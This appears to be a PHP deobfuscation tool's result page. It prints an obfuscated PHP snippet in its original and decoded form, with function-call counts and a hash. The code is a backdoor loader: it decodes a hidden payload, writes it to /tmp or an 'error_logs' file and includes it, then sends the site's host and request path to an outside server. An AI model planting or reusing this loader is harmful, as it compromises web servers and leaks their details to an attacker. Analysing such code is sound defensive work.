Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $x = base64_decode(strrev('==QDn9bcnm8uYW1lybZuWbxlGasxbsn3oJ0ML8y6c3B0GgWP')); if..
Decoded Output download
<?php
$x = base64_decode(strrev('==QDn9bcnm8uYW1lybZuWbxlGasxbsn3oJ0ML8y6c3B0GgWP'));
if (file_exists('/tmp')) {
file_put_contents('/tmp/xYz-LOGS.by.R3D-gEn=--', base64_decode(strrev($x)));
include('/tmp/xYz-LOGS.by.R3D-gEn=--');
} else {
file_put_contents('error_logs', base64_decode(strrev($x)));
include('error_logs');
}
$server_data = base64_encode($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
$server_data = strrev($server_data);
file_get_contents('http://xbox.nu/secured-key/index.php?data=' . $server_data);
?>
Did this file decode correctly?
Original Code
<?php
$x = base64_decode(strrev('==QDn9bcnm8uYW1lybZuWbxlGasxbsn3oJ0ML8y6c3B0GgWP'));
if (file_exists('/tmp')) {
file_put_contents('/tmp/xYz-LOGS.by.R3D-gEn=--', base64_decode(strrev($x)));
include('/tmp/xYz-LOGS.by.R3D-gEn=--');
} else {
file_put_contents('error_logs', base64_decode(strrev($x)));
include('error_logs');
}
$server_data = base64_encode($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
$server_data = strrev($server_data);
file_get_contents('http://xbox.nu/secured-key/index.php?data=' . $server_data);
?>
Function Calls
strrev | 2 |
file_exists | 1 |
base64_decode | 2 |
Stats
MD5 | ad60381590936c257b6c144bbc091bb4 |
Eval Count | 0 |
Decode Time | 231 ms |